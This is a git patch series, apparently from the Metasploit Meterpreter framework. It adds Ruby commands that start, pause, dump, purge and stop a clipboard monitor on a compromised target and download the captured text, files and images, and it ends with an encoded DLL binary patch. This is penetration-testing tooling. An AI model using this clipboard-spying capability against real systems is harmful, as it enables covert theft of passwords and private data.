def print_clipboard_set_text_usage print( "\nUsage: clipboard_set_text [-h] \n\n" + "Set the target's clipboard to the given text value.\n\n") @@ -122,7 +123,7 @@ return client.extapi.clipboard.set_text(args.join(" ")) # # Help for the clipboard_monitor_start command. # - def print_clipboard_monitor_start_usage() + def print_clipboard_monitor_start_usage print( "\nUsage: clipboard_monitor_start [-i true|false] [-h]\n\n" + "Starts a background clipboard monitoring thread. The thread watches\n" + @@ -139,7 +140,7 @@ return client.extapi.clipboard.set_text(args.join(" ")) def cmd_clipboard_monitor_start(*args) capture_images = true - @@set_text_opts.parse(args) { |opt, idx, val| + @@monitor_start_opts.parse(args) { |opt, idx, val| case opt when "-i" # default this to true @@ -160,6 +161,94 @@ return client.extapi.clipboard.set_text(args.join(" ")) print_good("Clipboard monitor started") end + # + # Options for the clipboard_monitor_purge command. + # + @@monitor_purge_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_purge command. + # + def print_clipboard_monitor_purge_usage + print("\nUsage: clipboard_monitor_purge [-h]\n\n" + + "Purge the captured contents from the monitor. This does not stop\n" + + "the monitor from running, it just removes captured content.\n\n" + + @@monitor_purge_opts.usage + "\n") + end + + # + # Purge the clipboard monitor captured contents + # + def cmd_clipboard_monitor_purge(*args) + @@monitor_purge_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_purge_usage + return true + end + } + client.extapi.clipboard.monitor_purge + print_good("Captured clipboard contents purged successfully") + end + + # + # Options for the clipboard_monitor_dump command. + # + @@monitor_dump_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ], + "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], + "-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ], + "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] + ) + + # + # Help for the clipboard_monitor_dump command. + # + def print_clipboard_monitor_dump_usage + print( + "\nUsage: clipboard_monitor_dump [-d true|false] [-d downloaddir] [-h]\n\n" + + "Dump the capture clipboard contents to the local machine..\n\n" + + @@monitor_dump_opts.usage + "\n") + end + + # + # Dump the clipboard monitor contents to the local machine. + # + def cmd_clipboard_monitor_dump(*args) + purge = true + download_images = true + download_files = true + download_path = nil + + @@monitor_dump_opts.parse(args) { |opt, idx, val| + case opt + when "-d" + download_path = val + when "-i" + download_images = val.downcase != 'false' + when "-f" + download_files = val.downcase != 'false' + when "-p" + purge = val.downcase != 'false' + when "-h" + print_clipboard_monitor_dump_usage + return true + end + } + + dump = client.extapi.clipboard.monitor_dump({ + :include_images => download_images, + :purge => purge + }) + + parse_dump(dump, download_images, download_files, download_path) + + print_good("Clipboard monitor dumped") + end + # # Options for the clipboard_monitor_stop command. # @@ -167,16 +256,17 @@ return client.extapi.clipboard.set_text(args.join(" ")) "-h" => [ false, "Help banner" ], "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], + "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] ) # # Help for the clipboard_monitor_stop command. # - def print_clipboard_monitor_stop_usage() + def print_clipboard_monitor_stop_usage print( "\nUsage: clipboard_monitor_stop [-d true|false] [-x true|false] [-d downloaddir] [-h]\n\n" + - "Stops a clipboard monitor thread and returns the captured data to the attacker.\n\n" + + "Stops a clipboard monitor thread and returns the captured data to the local machine.\n\n" + @@monitor_stop_opts.usage + "\n") end @@ -189,7 +279,7 @@ return client.extapi.clipboard.set_text(args.join(" ")) download_files = true download_path = nil - @@set_text_opts.parse(args) { |opt, idx, val| + @@monitor_stop_opts.parse(args) { |opt, idx, val| case opt when "-d" download_path = val From 2ef0e7e2a53c5c9b00473054392692f8c80da8b6 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 29 Jan 2014 17:07:06 +1000 Subject: [PATCH 4/6] Small tidy of code --- .../ui/console/command_dispatcher/extapi/clipboard.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 0f571204f5..53eb463b14 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -109,7 +109,8 @@ class Console::CommandDispatcher::Extapi::Clipboard return true end } -return client.extapi.clipboard.set_text(args.join(" ")) + + return client.extapi.clipboard.set_text(args.join(" ")) end # From ad1dce38d2345e7cf835bbeee98ea45862409dd8 Mon Sep 17 00:00:00 2001 From: OJ Date: Wed, 29 Jan 2014 23:04:43 +1000 Subject: [PATCH 5/6] Final fixes before the monitor PR --- .../extensions/extapi/clipboard/clipboard.rb | 74 +++---- .../command_dispatcher/extapi/clipboard.rb | 190 ++++++++++-------- 2 files changed, 142 insertions(+), 122 deletions(-) diff --git a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb index 7fde60f4db..82a58b8361 100644 --- a/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb +++ b/lib/rex/post/meterpreter/extensions/extapi/clipboard/clipboard.rb @@ -19,8 +19,10 @@ class Clipboard @client = client end + # # Get the target clipboard data in whichever format we can # (if it's supported). + # def get_data(download = false) request = Packet.create_request('extapi_clipboard_get_data') @@ -33,7 +35,9 @@ class Clipboard return parse_dump(response) end + # # Set the target clipboard data to a text value + # def set_text(text) request = Packet.create_request('extapi_clipboard_set_data') @@ -44,6 +48,9 @@ class Clipboard return true end + # + # Start the clipboard monitor if it hasn't been started. + # def monitor_start(opts) request = Packet.create_request('extapi_clipboard_monitor_start') request.add_tlv(TLV_TYPE_EXT_CLIPBOARD_MON_WIN_CLASS, opts[:wincls]) @@ -51,11 +58,17 @@ class Clipboard return client.send_request(request) end + # + # Pause the clipboard monitor if it's running. + # def monitor_pause request = Packet.create_request('extapi_clipboard_monitor_pause') return client.send_request(request) end + # + # Dump the conents of the clipboard monitor to the local machine. + # def monitor_dump(opts) pull_img = opts[:include_images] purge = opts[:purge] @@ -70,16 +83,25 @@ class Clipboard return parse_dump(response) end + # + # Resume the clipboard monitor if it has been paused. + # def monitor_resume request = Packet.create_request('extapi_clipboard_monitor_resume') return client.send_request(request) end + # + # Purge the contents of the clipboard capture without downloading. + # def monitor_purge request = Packet.create_request('extapi_clipboard_monitor_purge') return client.send_request(request) end + # + # Stop the clipboard monitor and dump optionally it's contents. + # def monitor_stop(opts) dump = opts[:dump] pull_img = opts[:include_images] @@ -101,44 +123,35 @@ class Clipboard private def parse_dump(response) - results = [] + result = {} - texts = [] response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT) do |t| - texts << { - :ts => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), - :text => t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) - } + ts = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # fat chance of someone adding two different bits of text to the + # clipboard at the same time + result[ts]['Text'] = t.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TEXT_CONTENT) end - if texts.length > 0 - results << { - :type => :text, - :data => texts - } - end - - files = [] response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE) do |f| - files << { - :ts => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + ts = f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + result[ts]['Files'] ||= [] + result[ts]['Files'] << { :name => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_NAME), :size => f.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_FILE_SIZE) } end - if files.length > 0 - results << { - :type => :files, - :data => files - } - end - - images = [] response.each(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG) do |jpg| if jpg - images << { - :ts => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP), + ts = jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_TIMESTAMP) + result[ts] ||= {} + + # same story with images, there's no way more than one can come + # through on the same timestamp with differences + result[ts]['Image'] = { :width => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMX), :height => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DIMY), :data => jpg.get_tlv_value(TLV_TYPE_EXT_CLIPBOARD_TYPE_IMAGE_JPG_DATA) @@ -146,14 +159,7 @@ private end end - if images.length > 0 - results << { - :type => :jpg, - :data => images - } - end - - return results + return result end end diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb index 53eb463b14..199cad709c 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/extapi/clipboard.rb @@ -24,10 +24,10 @@ class Console::CommandDispatcher::Extapi::Clipboard "clipboard_get_data" => "Read the target's current clipboard (text, files, images)", "clipboard_set_text" => "Write text to the target's clipboard", "clipboard_monitor_start" => "Start the clipboard monitor", - "clipboard_monitor_pause" => "Pause the clipboard monitor (suspends capturing)", - "clipboard_monitor_resume" => "Resume the paused clipboard monitor (resumes capturing)", - "clipboard_monitor_dump" => "Dump all captured content", - "clipboard_monitor_purge" => "Delete all captured content without dumping it", + "clipboard_monitor_pause" => "Pause the active clipboard monitor", + "clipboard_monitor_resume" => "Resume the paused clipboard monitor", + "clipboard_monitor_dump" => "Dump all captured clipboard content", + "clipboard_monitor_purge" => "Delete all captured cilpboard content without dumping it", "clipboard_monitor_stop" => "Stop the clipboard monitor" } end @@ -44,7 +44,7 @@ class Console::CommandDispatcher::Extapi::Clipboard # @@get_data_opts = Rex::Parser::Arguments.new( "-h" => [ false, "Help banner" ], - "-d" => [ true, "Download non-text content to the specified folder (or current folder)", nil ] + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)", nil ] ) def print_clipboard_get_data_usage @@ -194,6 +194,68 @@ class Console::CommandDispatcher::Extapi::Clipboard print_good("Captured clipboard contents purged successfully") end + # + # Options for the clipboard_monitor_pause command. + # + @@monitor_pause_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_pause command. + # + def print_clipboard_monitor_pause_usage + print("\nUsage: clipboard_monitor_pause [-h]\n\n" + + "Pause the currently running clipboard monitor thread.\n\n" + + @@monitor_pause_opts.usage + "\n") + end + + # + # Pause the clipboard monitor captured contents + # + def cmd_clipboard_monitor_pause(*args) + @@monitor_pause_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_pause_usage + return true + end + } + client.extapi.clipboard.monitor_pause + print_good("Clipboard monitor paused successfully") + end + + # + # Options for the clipboard_monitor_resumse command. + # + @@monitor_resume_opts = Rex::Parser::Arguments.new( + "-h" => [ false, "Help banner" ] + ) + + # + # Help for the clipboard_monitor_resume command. + # + def print_clipboard_monitor_resume_usage + print("\nUsage: clipboard_monitor_resume [-h]\n\n" + + "Resume the currently paused clipboard monitor thread.\n\n" + + @@monitor_resume_opts.usage + "\n") + end + + # + # resume the clipboard monitor captured contents + # + def cmd_clipboard_monitor_resume(*args) + @@monitor_resume_opts.parse(args) { |opt, idx, val| + case opt + when "-h" + print_clipboard_monitor_resume_usage + return true + end + } + client.extapi.clipboard.monitor_resume + print_good("Clipboard monitor resumed successfully") + end + # # Options for the clipboard_monitor_dump command. # @@ -202,7 +264,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], "-p" => [ true, "Purge the contents of the monitor once dumped (default: true)" ], - "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] ) # @@ -258,7 +320,7 @@ class Console::CommandDispatcher::Extapi::Clipboard "-x" => [ true, "Indicate if captured clipboard data should be dumped (default: true)" ], "-i" => [ true, "Indicate if captured image data should be downloaded (default: true)" ], "-f" => [ true, "Indicate if captured file data should be downloaded (default: true)" ], - "-d" => [ true, "Download non-text content to the specified folder (or current folder)" ] + "-d" => [ true, "Download non-text content to the specified folder (default: current dir)" ] ) # @@ -315,12 +377,12 @@ private if stat.directory? client.fs.dir.download( dest, source, true, true ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } elsif stat.file? client.fs.file.download( dest, source ) { |step, src, dst| - print_line( "#{step.ljust(11)}: #{src} -> #{dst}" ) + print_line( "#{step.ljust(11)} : #{src} -> #{dst}" ) client.framework.events.on_session_download( client, src, dest ) if msf_loaded? } end @@ -328,95 +390,47 @@ private def parse_dump(dump, get_images, get_files, download_path) loot_dir = download_path || "." - if not ::File.directory?( loot_dir ) + if (get_images || get_files) && !::File.directory?( loot_dir ) ::FileUtils.mkdir_p( loot_dir ) end - dump.each do |r| - case r[:type] - when :text - print_line + dump.each do |ts, elements| + elements.each do |type, v| + title = "#{type} captured at #{ts}" + under = "=" * title.length + print_line(title) + print_line(under) - r[:data].each do |x| - title = "Text captured at #{x[:ts]}" - under = "-" * title.length - print_line(title) - print_line(under) - print_line(x[:text]) - print_line(under) - print_line - end + case type + when 'Text' + print_line(v) - when :jpg - print_line - - table = Rex::Ui::Text::Table.new( - 'Header' => 'Clipboard Images', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'Time Captured', 'Width', 'Height' - ] - ) - - r[:data].each do |x| - table << [x[:ts], x[:width], x[:height]] - end - - print_line - print_line(table.to_s) - - if get_images - print_line - print_status( "Downloading Clipboard Images ..." ) - r[:data].each do |j| - file = "#{j[:ts].gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" - path = File.join( loot_dir, file ) - path = ::File.expand_path( path ) - ::File.open( path, 'wb' ) do |x| - x.write j[:data] + when 'Files' + total = 0 + v.each do |f| + print_line("Remote Path : #{f[:name]}") + print_line("File size : #{f[:size]} bytes") + if get_files + download_file( loot_dir, f[:name] ) end - print_good( "Clipboard image #{j[:width]}x#{j[:height]} saved to #{path}" ) + print_line + total += f[:size] end - else - print_line( "Re-run with -d to download image(s)." ) - end - print_line - when :files - print_line - - table = Rex::Ui::Text::Table.new( - 'Header' => 'Clipboard Files', - 'Indent' => 0, - 'SortIndex' => 0, - 'Columns' => [ - 'Time Captured', 'File Path', 'Size (bytes)' - ] - ) - - total = 0 - r[:data].each do |x| - table << [x[:ts], x[:name], x[:size]] - total += x[:size] - end - - print_line - print_line(table.to_s) - - print_line( "#{r[:data].length} file(s) totalling #{total} bytes" ) - - if get_files - loot_dir = ::File.expand_path( loot_dir ) - print_line - print_status( "Downloading Clipboard Files ..." ) - r[:data].each do |f| - download_file( loot_dir, f[:name] ) + when 'Image' + print_line("Dimensions : #{v[:width]} x #{v[:height]}") + if get_images and !v[:data].nil? + file = "#{ts.gsub(/\D+/, '')}-#{Rex::Text.rand_text_alpha(8)}.jpg" + path = File.join(loot_dir, file) + path = ::File.expand_path(path) + ::File.open(path, 'wb') do |x| + x.write v[:data] + end + print_line("Downloaded : #{path}") end - print_good( "Downloaded #{r[:data].length} file(s)." ) - else - print_line( "Re-run with -d to download file(s)." ) end + print_line(under) + print_line end end end From 096e06baa6ad0b2d6aa4a13358d650f7532a7e8a Mon Sep 17 00:00:00 2001 From: OJ Date: Thu, 6 Feb 2014 11:47:29 +1000 Subject: [PATCH 6/6] Added binaries from Meterpreter PR #74 Meterpreter PR https://github.com/rapid7/meterpreter/pull/74 was landed, this adds the binaries from that PR. --- data/meterpreter/ext_server_extapi.x64.dll | Bin 111104 -> 123392 bytes data/meterpreter/ext_server_extapi.x86.dll | Bin 93696 -> 108544 bytes 2 files changed, 0 insertions(+), 0 deletions(-) diff --git a/data/meterpreter/ext_server_extapi.x64.dll b/data/meterpreter/ext_server_extapi.x64.dll index 90e3ce2a0f6e0fef33b9e8291d4ea4c18d402767..4e3d4728e543c5188577dabeda1e542c160e481b 100755 GIT binary patch delta 50636 zcmaI94SY<;_dmXSlZ_y2gDmk7RwRU=As!O(kR{=U4QWwnJ%!LxR4Th3>S3dse42H; ztr|)n>BFZVEp2Jq5|l&`&s1BYT1~6f8>D>oE;B@YT@A2?~S-CTbx8WauS?LDD^#7PT8v0-U z^??Ac)(~xLEQJ{iZH)$lDxjODvew4VjS?h-A=qG;bKA&98oT$fy=yeQ41(PVp9y5A zFkCYHV7UiilMFLMSh*A(wUHSOdG}xp2}Z-#AcJA%|BQyz=Q}iS-orU#krM==tx!q5BpM9qiDeneml?=$Fp*h8#am3`3_#RWv$kzxWGM|tNfQ&8 z(lDjbh=B$)?}R#JAUoC2?p}gcC>65uN=z12ZN>gL1okQR$x|j(96NR_b-e7kVv~L5 zHto<_YdUm7R_f%UGFO=F*>9U7Yq3oU<})_}f$W_alb~7KbE+z$YAP!L1xPQo;-pte zh+bz*l4f;ZCy-JLT1(*;Xol>wekWwCS+^3-YpQ|9aQrg@|5*UPO5i^W;O7W@Ime&W zta$=o8o)aQep>*a)yn9m0+Is+-2}nw0fGd2`FKNacb1myvOErQ^Q0Krzl;Ijap#yAR?%JC;O>neeNUf`X1z>N#! zbqd_8I&Lg*85{@6WDDHX!&H7znKKESIGF7X&v87#hzM zqD^MBNJp|Oe#qYqj7S*;8@ed2=_HvIU*}x$(3m_sVL5%u8TJqJOd|yJGIK0ymRQN zP{fX^e*hu-#>S*7hm95fnSR?T|C zN`j!FJ{k3_8Ag>&9=HlvXQN%;VqL3A1gJCzKkBonOQ3&t(Rxq=K^qcJ+jkHe{i4>P zQ+AFSMcwE=q3-DlD6zf*TG?}0leO}K0io3GMTaegX8^UAYWQ_1WoVAwcfV29Qo-Q? zE~pdg0Wk1Boke9o*8?oPPp4AcBjPf}7m9ci#Y?(VF?)%|AiKR!+Yqr7j@2{`P@+a^ zm`D*lQc0BZncu{knx1%Ah*Is6z>CTT39o%~B7)L+2QE2aG^nQutvp8@c5cLiu6~Rv zpaUE1`WDNizhUBef8?(5h7Lq^Qhlc>!b;O1Z|6(p%Bl&cyL5vb*@IcZlGB;Z=>=%#|i}|rAkl_fKczLql&72LirT)^$Kc- zmxQNOVJQq(CF&K$d>)9M;hib&CE2O1-9SKYSS8JS@8(iR-v{u|vVt<4?PbOKCUAB> zf=Lo9_J#9`om3}arAF35pw(~D4~gexZ`1-}B!)>v{V>^zQUk-}gnF6R!5Nck7Q;D7 zOoHr#b}dMrd>pG|IFZ@H>xIR&zE}F9`lMHC8Xs)tpZ8(*IW4a!r)sHFc-_oZ00!s= zfDTprXPtuoR;NLFosyIaR?#VnecG-8_0F7_NIv;u#EQv9-Pj3@#-xG*P(m$whjgW; zhRGolnFaf=)>m;Gec zVMlYQbFf=)ttS~n9o-M5R4!WzS5sMNRFb8As^Jk!`$D9t^bm)V8t3p13spjk4m&fo z!_L;)Vb>@brWRMczj_f>6SBwriL#O%Dx-P#-Ob-vR+faTRh;Umda9QJmWT2!ddl^K zAL{@Nwoe5I^qimEDk<@NKuep+%BXPYh_j)3mPUbhGWu>ZsM~obN7kjzD+q%_vbh?y_lO*z`rd>>3Y>)jo*5ru0=7xU1SD=Q;I_hO|nRHny|qTPef z9_(G#xiURvG^MyMvnPGzn?poQ-48fm7r39g}BS(c(_3o2>LqjXm`-P$us;yg1Sr{7Iug7Pe4LOK{d}^beE6Ei1QV1uCXoPQ0O>ilx372T`B4 z6xN_^X-b2%WXV$W4Hp+QI-LxL_mQ$|hn!RJV=3B=lrqGYJltj}+KRYC84>DGhKJe} zd$2t@HP}-0645J0d$Pe&^eo~TicAC2Qn&(x8maq{I_+GPuB3*ldtk+25YP7I8U2sQ z%EOo}+`Q`(X_CfHZg{AiJT%mWwWlS_D$Q!f9s?OH5Di*^@dWXF;WtsxiDruqzJ*4A zTUmJkoJNOg)^8d^|4;0Jwj-M*ChY_bGqg-rGQ-ttF(d$pkfcsRC>>`n29$=*eA9Kyqq7#mAMmEkty z&`5O-FB6P*P@M#~fcj7A&uz(rLeKDXajHm;NUQ()L={U0-H6ibrmPx)!^K#KTmY z?8QGUPF^`&85xZI2o#G7_Zl$+YHn+4AZ-su*IGUp8eCp2*&$a9#j$qZIE7r)tby+d zA~H3^zPsjGA!v)GsE}eLY!kK2TNrZ)0N%XEC_+23#=tmqL5u@X7|@<0m@0t%7#3TG zGC4HyXLy1j3J}m}D8#PSU}>L*Ed{BQ`XpIV7)Veh_pnfZu#pVJ}x z)^IFu@FgHHW_!rWGXhwC%cfaplGY1=QiqCDvP>?ow#khvscBF$>}`=%JK(mbT(LZ* zV(1eKlDB645E$MKixE*iirEUN7%fHD_@ul$1_*S67$gow3>sMxgGjUXY(S$4hhP> z4CPveqS8E1aw0aEwG02$!zzRx)om#}gh=ZO}Sr8`-xmoX{9o^KWw`dgQ4366RNI@pwI8)@AD@hVl~K zJpuQpliUsdRK4cid9f#DWff)8tg%GXAwy}!@eZXzvr2*leL)eghX}<4pGpe?hNlx6 z@7bU5H;2r9D^(Q38-9*#}EK*?+Xh@cz*FiIY~ zr{A)9#Sc48>VMjkfD|qi5Si3T;0FK~3kNs^fNDx?Olk@Ndj$Ls{`sA!_tpc36wlp-BE;l{hAp>~4M+<)=ES-?t%#yzP`f z=-=~0MMFzsnzuCu^$szzp%EQ|39xYk7iF< z-;&<#z~Wl04x5H4mwa(2)MGYwutn#fDWI-x@kEecGL}qlX*U^Lv$xx(w8h-GgSXJL zKdyo_J{pi?6zNjO{%m`nwCEkyBdV1&=^d64)gdwZX&Q^Bk?+7I5^E-5?T@SJ{>|OZ z0=N25cN}h*fBz4tnwGp8wb>|5tYahE+ob+=Y)*TZx%nToq}(RoXyotgm-a2)-(CkZ zpSA7|$>tC(09bPO5fJk}h9>O0-AKW{tEB$$Sub!(EZ5GMY=?JxOpaz{g2&f7hR$mW z0K!oUae&+QNzTE)9N8;DWT%!Fkge$K8DrDFgwd%JJ|GD17Zf-RLY?f|7kXX5spoa} zv2BFZ{W>#tNNk?~W{Fy+Qb$u9EY9Dk+ME~spX@g_rbDNWvjOzfJ?T0Qr)xG%7^!Mn z3!>vkCRnOQ{Kj7C&|d2D8~e0FjJp=*mO~kuu(L1rZgf)htpJ4Y?56`x004755*zf# zZX;S$wlhhf9G3Jl^#h>Ol%So-@X**-RMS8wHt+IWN7d0*8g#TyrP8t>c3E@+B&IcJ zf3MM(F(qZvzU~&Pi}@S&J!aQmsn|fD+=mqUrx1i%`wiB3SQ^iPExbY*xok(zt8v`Hm4%w+8Hg z9Xm%o0#aI063}EPR?|c3*5+VZ0bR_R08fu~bxef2`X)fXd9x$E+2P)7n`ZsCw!Yrs zI9s5UXa7w5l*yAOR6rlfK+hF#H{ZQ$)~7i=S>dF6E097v{|hOC_)SiHoU5G!s)|0( zCUT#(T*nMnR2-ZErYj#<3>GXN5-hwRyhs0_?PqoM18GDpI~|h~{#rAtQ$T=kU1dXJ z$4aBFvh}f(q?enro3S0Fh^wr1r#aHKAXePzEoo6L>(M#ZoIxdJ#*tMvsFvk)Ug^FJ z2n;CYE6r;8nV9l+VI}?IG;Tkq!3z7PPLo7E z@HH?;1co}^1~rMpz#|f1_mD-*X2nHHo3AiW-0bj6G&r!>*tj!(Q%m+&T6 zKsT|-X|dl3$OVG@$RVE#$QK0poI?%^$Pt2+bI4u+DI>@S9P+V%d_s^{Ib^edY$1rk zA+Nv0{_L784J&0y@sp*H%WQpoN~_H~u($=4!&P+3-@vjx_!=UzVp_e3U5U3zd5c(+ zZrxfx23Lu$77oq&ii%^AbQs*GX)m#{-FkLv$KhT<%bR$b)}~luf~^}L^!J)#w7z!?m~@C9N<*y1nspbE(qhP0vST^{9ose3tS|f>36gs&?j-J_<-v(%{=~bL zzk~@&7+0eHj}sr%pN1H>0dJ$_ez-|!61&@;yM`)`2Z&`0UW*QTYYre&VDYZcB=V4( zTx5aah>D-N#5c!lEB;Y}-T=4lpBX+88P@#Y47#yxX=9I)vo~+ie120tv?=<{SNa;%V&^ zZD;+nk@F?cY1RQE)2o3@b(+;kAU_5;~YLa&3C?$p*#5&9Onp_pcBwrfeu*29bBs1fT~8r!g)EM7zyg0rcn5I$SVp#)T_hSA<%~X{4g4xB-%1z zPIY+mBW3SwR5?G6cEQ1rFUA)t$G7=VB{$9+;KADtcK%Y*C9%5K@BFZ~W<$Rc?DYo) zx^{Ejg7+~4E5ceZ3@BA#5Rmol3Q8;k$BghA1^mU}(6v9HJMJ=n1To>`Xc+jwgYy5< zxO)`tZk}Eu&%Y?${}~B3s)~A?yC~q=vT7HxZ>6F1rs;0|F(}YN+;c#eV-oltqM}1_ zJ^drHz>G+hOAQ6(T|11L_7|2tGAz;%I^-Rn4tes&FW2lnBL`t?B;Wi_F2CGT*#`k8 z>2rfF1YHW)O>OEP-XPeI9&K-Bd%L%9cHuJOw=i*$5rN6B$(oYd?wyU&pPg8%``Qf} zSBNw47D~Y(^kk9ggCd-lhpN+CQ-@+|Go7J(8t@a-&SPk}Qq0NB#YEOn?bD9A?t9Yw z-#F~P46q{&>gpEkkNXxhKV6OdxrZS7BJyQu*4MvfMG4W;wrKWFLcb={187%MbyH{d zOM*@MC7Olz?AWAfJ;tn#>&)yu3z~f1$za$;%)OE7-UxQG=OF3nPR!D)i!`wl>))$m zlYT@HEeJYBu-UzyjDC&|@ic4B1>WkG>V{aNSedVZFKmY;pE?1>Qmj`BF7&4KnMdP`6~$lC=;VcKk=x-@zRt%Ix2)h9FvL z2&4RWVggZFIp}Yuo&-w0R1d^%jqOStIRfm3rWc);EooJ}C=5EyI`D33^O8-KYfxGi zm1Y;E#mk;M)eAl)$bH0lSPaYR-6p;Z3g9i>dY-p58EJ2j|4TJIfLJFGwixz8?}bgC z?s!+a`Au1yK5^3h9a(yx>5@O1ZSM1M#B-2rK>SO>!Ly>~J=UR5wDeFk8`w8D;p9vsX!&KH)b#OkCDzqv9kX8oxbY=W;9wH%Ga6Rp^=&1kv1BR8NQ)5 zEQT50p{m*;p7lxT(Zn2em&vV0?1_|?QCZLiKW^jfOFXUqKsGa+JO|{IJNaSi@wV*0 zDealXcqvU`u4yq+JEi31 zX+w+;ZrG@4LzTi6t|^$}gAQfjpHgAhzB_^RQ9NJcsl-!@=SMu}@a)H9$}t%JM0g#~ zNjz8Ze23>tJY`c@;`E2$!-P*rzes1g0~aMfc#*wEwQCQ9;YNj#wk{`CD-y7$?m2}) zg&mlHBDoclp;UQp8(quPo~`(JYLHk~(+|>6$F&q`H3Wh&E z!zzNhJp(5`4nMSWf!c~{G0$^ba!ppuGJtAHGG#4uJ-l;Ku)*Myjq2J#tbAbeO7-}bJc*!2j{{9xK7akmLOnYtzxf-A~14#GOBr;()UAL$ zJE(R3ZPcZ{yyC^Z4Mz7kK9t6BoCKJgwc%!+CG85S`(NlH7z zMh#9Xd1`PQW76a|&vdaaDj85%DwPGT<(9W52lVwZmrthBCj2;AxL zVbxM4JE87~S5wnrez(Bo3M?)^T)s;Y4)K5jgTSC3y9Zu&ne9u9cE2J(K2p2^b|8i)0;fm@DGsqQpjT!c43rDTkb`J*5*#`Y5_qREP-FR3i43#Bt&!ai4|| zf1jxp%^tF1PfKW8CBb?Hs#Els0}IfxK)D_w}(b!yL{N$h$u|z)f&dqJ4**^ z*zWXc(gTk&+pw`x!fdu+SX^`ndSDeii)B=bVtsBFbOUP{;#H-5W%`np4VxhKoW-Js zcd@>Qy`{kwQ3@^7)bb!qHKuhhvkAkaGJ5}@X`WcuLf}1j{&F>|G(CbiQqcQD2QhZ6 zo;!cKA}URz>%s2;jD31b&z(P9xGn-!sWkOm$jXOj1*iO~Y0N6Omx^;(UwKMYXH-j0 z#EEQC9>y9>RV5>s3?q2lK03fYl-))@>y^<<+LX#3$>=A|OJy4}K9hPs%I1&gINj2R zny75pLCqqUkem{gI29}85PsfKt2M?2QJ=|x%YJmf5a>hjxPFWVVI(yIAzb-9uVVTm zhf>h)S`D;dRcZ!P_0_)Y)`;2CoSy8Fk#9tPgkG)H8q%fWXDMGs$_enBc9Gc}ZQL_w zKq{6ZQj0y57X$b~%xtTap}}6$()k#ILqol$g^0jUPIt^PIW8mcS$NH^KZlbCoZ5J9 zo0eJS+#{ClX(PiPv3m>Uyzenh?el-HoF)8<+eS!!S#yxAOluW6q`1(SdV~|OosKr+ zvW_BN>AwJjYHM#V`j@>un#sEE-Rz{-J4%pBnkU)xmF z;L8cD>FB4TS`j@s^a-U1IP|%BKyc`D=>Xe0`Y~zsdDb>7O>$7so4t_ry*u;*_3lWS zMu|zi{S8lLi_{g7nkiBjL@H0DPKneak=n;oN&)&&0JaIhMgsUu^S(g9mFY#m_ww#O zsc!3TFie9!DncJg;ZTXTq%pV~WZL}TJ!%-D<{;-Pth#e>15gae`N)s#yUKW}nlqjj zW!GYm_l*zyNj*~Y<@=eeahqiJz#qJ9D^Pcf$g 